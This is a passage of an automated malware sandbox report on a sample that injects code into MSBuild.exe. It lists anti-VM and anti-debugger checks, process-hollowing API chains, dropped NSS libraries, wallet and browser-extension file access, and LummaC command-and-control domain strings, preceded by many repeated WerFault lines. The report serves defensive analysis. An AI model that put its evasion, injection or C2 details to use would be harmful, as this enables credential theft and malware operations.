Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 0.2.f1r6P3j3g7.exe.91dad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f1r6P3j3g7.exe.91dad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f1r6P3j3g7.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f1r6P3j3g7.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6628, type: MEMORYSTR

Country aware sample found (crashes after keyboard check)

Source: c:\users\user\desktop\f1r6p3j3g7.exe

Event Logs and Signature results: Application crash and keyboard check

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: f1r6P3j3g7.exe, MSBuild.exe	Binary or memory string: DIR_WATCH.DLL
Source: f1r6P3j3g7.exe, MSBuild.exe	Binary or memory string: SBIEDLL.DLL
Source: f1r6P3j3g7.exe, MSBuild.exe	Binary or memory string: API_LOG.DLL
Source: MSBuild.exe, 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL16:07:4216:07:4216:07:4216:07:4216:07:4216:07:42DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

3_2_0040180D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	API coverage: 4.0 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API coverage: 6.7 %
Source: C:\ProgramData\KEGIDHJKKJ.exe	API coverage: 4.2 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6984	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 2212	Thread sleep count: 77 > 30			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

3_2_00410DDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_00909ABF FindFirstFileExW,	0_2_00909ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	3_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	3_2_0040CD37
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D19ABF FindFirstFileExW,	10_2_00D19ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

3_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00410FBA GetSystemInfo,wsprintfA,

3_2_00410FBA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E65000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000E08000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000B.00000002.2205846539.0000000001196000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000B.00000002.2205846539.000000000114C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware-
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: MSBuild.exe, 0000000B.00000002.2205846539.0000000001196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_3-92973
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_3-92989
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_3-94316

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\KEGIDHJKKJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\KEGIDHJKKJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe

Code function: 0_2_008F7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_008F7922

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

3_2_00418A63

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_008F2003 mov edi, dword ptr fs:[00000030h]	0_2_008F2003
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0091E385 mov eax, dword ptr fs:[00000030h]	0_2_0091E385
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0091E37A mov eax, dword ptr fs:[00000030h]	0_2_0091E37A
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0091E362 mov eax, dword ptr fs:[00000030h]	0_2_0091E362
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_00935582 mov eax, dword ptr fs:[00000030h]	0_2_00935582
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0090A64C mov eax, dword ptr fs:[00000030h]	0_2_0090A64C
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_00900F2E mov ecx, dword ptr fs:[00000030h]	0_2_00900F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004014AD mov eax, dword ptr fs:[00000030h]	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040148A mov eax, dword ptr fs:[00000030h]	3_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004014A2 mov eax, dword ptr fs:[00000030h]	3_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004186A9 mov eax, dword ptr fs:[00000030h]	3_2_004186A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004186AA mov eax, dword ptr fs:[00000030h]	3_2_004186AA
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D02003 mov edi, dword ptr fs:[00000030h]	10_2_00D02003
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D1A64C mov eax, dword ptr fs:[00000030h]	10_2_00D1A64C
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D10F2E mov ecx, dword ptr fs:[00000030h]	10_2_00D10F2E

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe

Code function: 0_2_0090CC4B GetProcessHeap,

0_2_0090CC4B

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_008F7610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_008F7610
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_008F7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_008F7922
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_008F7AAF SetUnhandledExceptionFilter,	0_2_008F7AAF
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_008FDA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_008FDA73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041D12A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0041D12A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041DAAC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0041DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042774E SetUnhandledExceptionFilter,	3_2_0042774E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBDB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6CBDB66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBDB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6CBDB1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD8AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6CD8AC62
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D07610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00D07610
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D07922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00D07922
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D07AAF SetUnhandledExceptionFilter,	10_2_00D07AAF
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D0DA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00D0DA73

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: f1r6P3j3g7.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6628, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\ProgramData\KEGIDHJKKJ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_0040F54A _memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

3_2_0040F54A

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\ProgramData\KEGIDHJKKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior

LummaC encrypted strings found

Source: KEGIDHJKKJ.exe	String found in binary or memory: frizzettei.sbs
Source: KEGIDHJKKJ.exe	String found in binary or memory: isoplethui.sbs
Source: KEGIDHJKKJ.exe	String found in binary or memory: exemplarou.sbs
Source: KEGIDHJKKJ.exe	String found in binary or memory: invinjurhey.sbs
Source: KEGIDHJKKJ.exe	String found in binary or memory: wickedneatr.sbs
Source: KEGIDHJKKJ.exe	String found in binary or memory: exilepolsiy.sbs
Source: KEGIDHJKKJ.exe	String found in binary or memory: laddyirekyi.sbs
Source: KEGIDHJKKJ.exe	String found in binary or memory: bemuzzeki.sbs

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		3_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		3_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 670000	Jump to behavior
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 671000	Jump to behavior
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 894008	Jump to behavior
